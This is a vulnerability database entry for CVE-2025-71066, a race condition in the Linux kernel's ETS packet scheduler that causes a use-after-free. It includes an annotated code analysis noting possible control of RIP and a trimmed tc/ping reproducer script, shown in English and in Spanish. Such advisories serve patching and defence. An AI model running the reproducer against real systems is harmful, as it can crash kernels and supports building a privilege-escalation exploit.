FKIE_CVE-2025-71066

Vulnerability from fkie_nvd - Published: 2026-01-13 16:16 - Updated: 2026-04-15 00:35
Severity ?
Summary
In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
References
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de
Impacted products
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{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: ets: Always remove class from active list before deleting in ets_qdisc_change\n\nzdi-disclosures@trendmicro.com says:\n\nThe vulnerability is a race condition between `ets_qdisc_dequeue` and\n`ets_qdisc_change`.  It leads to UAF on `struct Qdisc` object.\nAttacker requires the capability to create new user and network namespace\nin order to trigger the bug.\nSee my additional commentary at the end of the analysis.\n\nAnalysis:\n\nstatic int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,\n                          struct netlink_ext_ack *extack)\n{\n...\n\n      // (1) this lock is preventing .change handler (`ets_qdisc_change`)\n      //to race with .dequeue handler (`ets_qdisc_dequeue`)\n      sch_tree_lock(sch);\n\n      for (i = nbands; i \u003c oldbands; i++) {\n              if (i \u003e= q-\u003enstrict \u0026\u0026 q-\u003eclasses[i].qdisc-\u003eq.qlen)\n                      list_del_init(\u0026q-\u003eclasses[i].alist);\n              qdisc_purge_queue(q-\u003eclasses[i].qdisc);\n      }\n\n      WRITE_ONCE(q-\u003enbands, nbands);\n      for (i = nstrict; i \u003c q-\u003enstrict; i++) {\n              if (q-\u003eclasses[i].qdisc-\u003eq.qlen) {\n\t\t      // (2) the class is added to the q-\u003eactive\n                      list_add_tail(\u0026q-\u003eclasses[i].alist, \u0026q-\u003eactive);\n                      q-\u003eclasses[i].deficit = quanta[i];\n              }\n      }\n      WRITE_ONCE(q-\u003enstrict, nstrict);\n      memcpy(q-\u003eprio2band, priomap, sizeof(priomap));\n\n      for (i = 0; i \u003c q-\u003enbands; i++)\n              WRITE_ONCE(q-\u003eclasses[i].quantum, quanta[i]);\n\n      for (i = oldbands; i \u003c q-\u003enbands; i++) {\n              q-\u003eclasses[i].qdisc = queues[i];\n              if (q-\u003eclasses[i].qdisc != \u0026noop_qdisc)\n                      qdisc_hash_add(q-\u003eclasses[i].qdisc, true);\n      }\n\n      // (3) the qdisc is unlocked, now dequeue can be called in parallel\n      // to the rest of .change handler\n      sch_tree_unlock(sch);\n\n      ets_offload_change(sch);\n      for (i = q-\u003enbands; i \u003c oldbands; i++) {\n\t      // (4) we\u0027re reducing the refcount for our class\u0027s qdisc and\n\t      //  freeing it\n              qdisc_put(q-\u003eclasses[i].qdisc);\n\t      // (5) If we call .dequeue between (4) and (5), we will have\n\t      // a strong UAF and we can control RIP\n              q-\u003eclasses[i].qdisc = NULL;\n              WRITE_ONCE(q-\u003eclasses[i].quantum, 0);\n              q-\u003eclasses[i].deficit = 0;\n              gnet_stats_basic_sync_init(\u0026q-\u003eclasses[i].bstats);\n              memset(\u0026q-\u003eclasses[i].qstats, 0, sizeof(q-\u003eclasses[i].qstats));\n      }\n      return 0;\n}\n\nComment:\nThis happens because some of the classes have their qdiscs assigned to\nNULL, but remain in the active list. This commit fixes this issue by always\nremoving the class from the active list before deleting and freeing its\nassociated qdisc\n\nReproducer Steps\n(trimmed version of what was sent by zdi-disclosures@trendmicro.com)\n\n```\nDEV=\"${DEV:-lo}\"\nROOT_HANDLE=\"${ROOT_HANDLE:-1:}\"\nBAND2_HANDLE=\"${BAND2_HANDLE:-20:}\"   # child under 1:2\nPING_BYTES=\"${PING_BYTES:-48}\"\nPING_COUNT=\"${PING_COUNT:-200000}\"\nPING_DST=\"${PING_DST:-127.0.0.1}\"\n\nSLOW_TBF_RATE=\"${SLOW_TBF_RATE:-8bit}\"\nSLOW_TBF_BURST=\"${SLOW_TBF_BURST:-100b}\"\nSLOW_TBF_LAT=\"${SLOW_TBF_LAT:-1s}\"\n\ncleanup() {\n  tc qdisc del dev \"$DEV\" root 2\u003e/dev/null\n}\ntrap cleanup EXIT\n\nip link set \"$DEV\" up\n\ntc qdisc del dev \"$DEV\" root 2\u003e/dev/null || true\n\ntc qdisc add dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\n\ntc qdisc add dev \"$DEV\" parent 1:2 handle \"$BAND2_HANDLE\" \\\n  tbf rate \"$SLOW_TBF_RATE\" burst \"$SLOW_TBF_BURST\" latency \"$SLOW_TBF_LAT\"\n\ntc filter add dev \"$DEV\" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2\ntc -s qdisc ls dev $DEV\n\nping -I \"$DEV\" -f -c \"$PING_COUNT\" -s \"$PING_BYTES\" -W 0.001 \"$PING_DST\" \\\n  \u003e/dev/null 2\u003e\u00261 \u0026\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 0\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\ntc -s qdisc ls dev $DEV\ntc qdisc del dev \"$DEV\" parent \n---truncated---"
    },
    {
      "lang": "es",
      "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet/sched: ets: Siempre eliminar la clase de la lista activa antes de eliminar en ets_qdisc_change\n\nzdi-disclosures@trendmicro.com dice:\n\nLa vulnerabilidad es una condici\u00f3n de carrera entre \u0027ets_qdisc_dequeue\u0027 y\n\u0027ets_qdisc_change\u0027. Conduce a UAF en el objeto \u0027struct Qdisc\u0027.\nEl atacante requiere la capacidad de crear un nuevo usuario y un espacio de nombres de red\npara activar el error.\nVer mi comentario adicional al final del an\u00e1lisis.\n\nAn\u00e1lisis:\n\nstatic int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,\n                          struct netlink_ext_ack *extack)\n{\n...\n\n      // (1) este bloqueo est\u00e1 evitando que el manejador .change (\u0027ets_qdisc_change\u0027)\n      //compita con el manejador .dequeue (\u0027ets_qdisc_dequeue\u0027)\n      sch_tree_lock(sch);\n\n      for (i = nbands; i \u0026lt; oldbands; i++) {\n              if (i \u0026gt;= q-\u0026gt;nstrict \u0026amp;\u0026amp; q-\u0026gt;classes[i].qdisc-\u0026gt;q.qlen)\n                      list_del_init(\u0026amp;q-\u0026gt;classes[i].alist);\n              qdisc_purge_queue(q-\u0026gt;classes[i].qdisc);\n      }\n\n      WRITE_ONCE(q-\u0026gt;nbands, nbands);\n      for (i = nstrict; i \u0026lt; q-\u0026gt;nstrict; i++) {\n              if (q-\u0026gt;classes[i].qdisc-\u0026gt;q.qlen) {\n\t\t      // (2) la clase se a\u00f1ade a q-\u0026gt;active\n                      list_add_tail(\u0026amp;q-\u0026gt;classes[i].alist, \u0026amp;q-\u0026gt;active);\n                      q-\u0026gt;classes[i].deficit = quanta[i];\n              }\n      }\n      WRITE_ONCE(q-\u0026gt;nstrict, nstrict);\n      memcpy(q-\u0026gt;prio2band, priomap, sizeof(priomap));\n\n      for (i = 0; i \u0026lt; q-\u0026gt;nbands; i++)\n              WRITE_ONCE(q-\u0026gt;classes[i].quantum, quanta[i]);\n\n      for (i = oldbands; i \u0026lt; q-\u0026gt;nbands; i++) {\n              q-\u0026gt;classes[i].qdisc = queues[i];\n              if (q-\u0026gt;classes[i].qdisc != \u0026amp;noop_qdisc)\n                      qdisc_hash_add(q-\u0026gt;classes[i].qdisc, true);\n      }\n\n      // (3) el qdisc se desbloquea, ahora dequeue puede ser llamado en paralelo\n      // al resto del manejador .change\n      sch_tree_unlock(sch);\n\n      ets_offload_change(sch);\n      for (i = q-\u0026gt;nbands; i \u0026lt; oldbands; i++) {\n\t      // (4) estamos reduciendo el contador de referencias para el qdisc de nuestra clase y\n\t      //  liber\u00e1ndolo\n              qdisc_put(q-\u0026gt;classes[i].qdisc);\n\t      // (5) Si llamamos a .dequeue entre (4) y (5), tendremos\n\t      // un UAF fuerte y podremos controlar RIP\n              q-\u0026gt;classes[i].qdisc = NULL;\n              WRITE_ONCE(q-\u0026gt;classes[i].quantum, 0);\n              q-\u0026gt;classes[i].deficit = 0;\n              gnet_stats_basic_sync_init(\u0026amp;q-\u0026gt;classes[i].bstats);\n              memset(\u0026amp;q-\u0026gt;classes[i].qstats, 0, sizeof(q-\u0026gt;classes[i].qstats));\n      }\n      return 0;\n}\n\nComentario:\nEsto sucede porque algunas de las clases tienen sus qdiscs asignados a\nNULL, pero permanecen en la lista activa. Este commit soluciona este problema al siempre\neliminar la clase de la lista activa antes de eliminar y liberar su\nqdisc asociado.\n\nPasos para Reproducir\n(versi\u00f3n recortada de lo que fue enviado por zdi-disclosures@trendmicro.com)\n\n```\nDEV=\"${DEV:-lo}\"\nROOT_HANDLE=\"${ROOT_HANDLE:-1:}\"\nBAND2_HANDLE=\"${BAND2_HANDLE:-20:}\"   # child under 1:2\nPING_BYTES=\"${PING_BYTES:-48}\"\nPING_COUNT=\"${PING_COUNT:-200000}\"\nPING_DST=\"${PING_DST:-127.0.0.1}\"\n\nSLOW_TBF_RATE=\"${SLOW_TBF_RATE:-8bit}\"\nSLOW_TBF_BURST=\"${SLOW_TBF_BURST:-100b}\"\nSLOW_TBF_LAT=\"${SLOW_TBF_LAT:-1s}\"\n\ncleanup() {\n  tc qdisc del dev \"$DEV\" root 2\u0026gt;/dev/null\n}\ntrap cleanup EXIT\n\nip link set \"$DEV\" up\n\ntc qdisc del dev \"$DEV\" root 2\u0026gt;/dev/null || true\n\ntc qdisc add dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\n\ntc qdisc add dev \"$DEV\" parent 1:2 handle \"$BAND2_HANDLE\" \\\n  tbf rate \"$SLOW_TBF_RATE\" burst \"$SLOW_TBF_BURST\" latency \"$SLOW_TBF_LAT\"\n\ntc filter add dev \"$DEV\" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2\ntc -s qdisc ls dev $DEV\n\nping -I \"$DEV\" -f -c \"$PING_COUNT\" -s \"$PING_BYTES\" -W 0.001 \"$PING_DST\" \\\n  \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 0\nt"
    }
  ],
  "id": "CVE-2025-71066",
  "lastModified": "2026-04-15T00:35:42.020",
  "metrics": {},
  "published": "2026-01-13T16:16:05.960",
  "references": [
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de"
    }
  ],
  "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
  "vulnStatus": "Deferred"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.